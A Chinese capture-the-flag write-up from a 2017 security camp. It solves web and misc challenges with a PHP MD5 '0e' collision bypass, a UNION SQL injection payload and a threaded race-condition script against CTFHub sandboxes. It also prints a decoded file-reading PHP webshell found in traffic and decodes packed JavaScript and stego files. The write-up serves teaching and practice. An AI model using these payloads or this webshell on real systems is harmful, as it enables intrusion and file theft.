2017 赛克夏令营 WriteUp

🏛️ 活动概况与组织架构

  • 活动全称：第三届赛客 360 网络安全夏令营

  • 主办单位：郑州大学、西安电子科技大学

  • 承办单位：河南赛客信息技术有限公司、360 公司

  • 活动时间：2017 年 7 月 10 日 至 8 月 10 日

  • 活动地点：分设两个营地，分别在郑州（郑州大学新校区）和西安

Web

random（签到）

随机数是 1~100，填一个数之后一直刷新网页重复发请求即可

checkin（签到）

请求头中发现 flag

weakphp（.git 泄露 + MD5 0e 碰撞）

存在 .git 泄露，利用 GitHack 下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
require_once "flag.php";
 
if (!isset($_GET['user']) && !isset($_GET['pass'])) {
    header("Location: index.php?user=1&pass=2");
}
 
$user = $_GET['user'];
$pass = $_GET['pass'];
 
if ((md5($user) == md5($pass)) and ($user != $pass)){
    echo $flag;
} else {
    echo "nonono!";
}
?>

PHP 中使用 == 比较两个 MD5 值时，如果两个哈希值都以 0e 开头，且后面全是数字，会被当作科学记数法（0 的幂次），均等于 0，从而判定相等

1
?user=QNKCDZO&pass=240610708

injection（SQL 注入）

id 参数存在 SQL 注入

1
1 union select 1,flag from ctfhub.flag #

Fast Running（条件竞争）

修改密码后系统会自动改回来，所以得写脚本打条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import threading

def change_password():
    """线程1：反复发送改密请求，试图在登录验证前修改密码"""
    sess = requests.Session()          # 每个线程独立的会话，避免线程安全隐患
    url = 'http://challenge-bc8c91adee803972.sandbox.ctfhub.com:10800/change_passwd.php'
    params = {'passwd': '123456', 'passwd_confirm': '123456'}
    while True:
        sess.get(url, params=params)   # 忽略响应，仅触发请求

def login():
    """线程2：反复用新密码尝试登录，打印服务器返回结果"""
    sess = requests.Session()
    url = 'http://challenge-1bbe3e4dc500a14b.sandbox.ctfhub.com:10080/login_check.php'
    params = {'passwd': '123456'}
    while True:
        resp = sess.get(url, params=params)
        print(resp.text)               # 查看是否成功登录

if __name__ == '__main__':
    # 创建守护线程，主程序退出时自动终止
    t1 = threading.Thread(target=change_password, daemon=True)
    t2 = threading.Thread(target=login, daemon=True)
    t1.start()
    t2.start()
    # 保持主线程存活，否则守护线程会被立即杀掉
    t1.join()
    t2.join()

Misc

简单隐写（Base 64 + 32）

在图片末尾发现 Base 加密

Base64 –> Base32 –> ASCII 码拿到 flag

1
flag{7ee5e94475cfe7a1342830961949ddb3}

我抓到你了（WebShell 流量 + ZIP 伪加密）

pasted_1784101452829_ds1xdh.png

过滤 HTTP 发现上传的木马

pasted_1784101500152_ci8g21.png

将其中的 Base64 解码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0'){
    @set_magic_quotes_runtime(0);
};
echo("X@Y");
$F="/var/www/flag.zip";
$fp=@fopen($F,'r');
if(@fgetc($fp)){
    @fclose($fp);
    @readfile($F);
}else{
    echo('ERROR:// Can Not Read');
};
echo("X@Y");
die();

攻击者读取了服务器上的文件，并且在文件前后加了标记

1
X@Y

在响应包中提取响应

pasted_1784126674546_lhxsj4.png

复制原始数据，删除标记 X@Y 可识别出 ZIP

pasted_1784126978814_mj931u.png

破解伪加密

pasted_1784127359778_y8zutj.png

打开拿到 flag

pasted_1784127549655_k67lgh.png

机密信息（HTTP 协议 + Dean Edwards packer 混淆 + JS 代码审计）

pasted_1784189033983_hctm4c.png

打开流量包过滤 HTTP 发现只请求了一个网页文件

pasted_1784189015509_jkqipp.png

追踪 HTTP 流对 JS 进行代码审计

pasted_1784189099582_i34vra.png

Dean Edwards Packer 是一种经典的 JavaScript 压缩/混淆工具，由 Dean Edwards 在 2004 年左右发布

它将原始脚本转换为以下形式的自我解压代码

1
eval(function(p,a,c,k,e,r){...}('压缩后的代码', 基数, 切片数, 单词表, ...))

把 eval 改成 console.log，然后 node 运行这段代码

pasted_1784191706714_sll369.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var hexatrigesimalToChar = new Array(
    "0","1","2","3","4","5","6","7","8","9",
    "a","b","c","d","e","f","g","h","i","j",
    "k","l","m","n","o","p","q","r","s","t",
    "u","v","w","x","y","z"
);

var hexToChar = new Array(
    "0","1","2","3","4","5","6","7","8","9",
    "a","b","c","d","e","f","{","}"
);

var index = new Array(
    15,21,10,16,3,12,3,2,11,1,12,15,
    6,6,12,7,0,10,14,2,1,7,8,15,
    13,4,1,7,15,13,0,5,1,11,3,11
);

var f = [];

for (i = 0; i < index.length; i++) {
    f.push(hexatrigesimalToChar[index[i]]);
}

f.splice(4, 0, hexToChar[16]);
f.splice(37, 0, hexToChar[17]);

encrypt(f.join(''), 011011001200);

分析代码

  • f 数组通过 index 从 hexatrigesimalToChar 中选取字符
  • 再在指定位置插入花括号
  • 最终 f.join('') 得到的就是 flag

flag 为 flag{3c32b1cf66c70ae2178fd417fd051b3b}

隐写v2.0（文件后缀名篡改 + ZIP 爆破 + 二进制转二维码）

pasted_1784192258304_klf3mu.png

修改后缀名为 .zip 后爆破出密码为 7878

pasted_1784192332085_tg4kcr.png

打开发现全是 01 二进制，缩小看有点像二维码

pasted_1784192410093_75kqqt.png

使用脚本转换再扫码得到 flag

pasted_1784192457517_9bfaue.png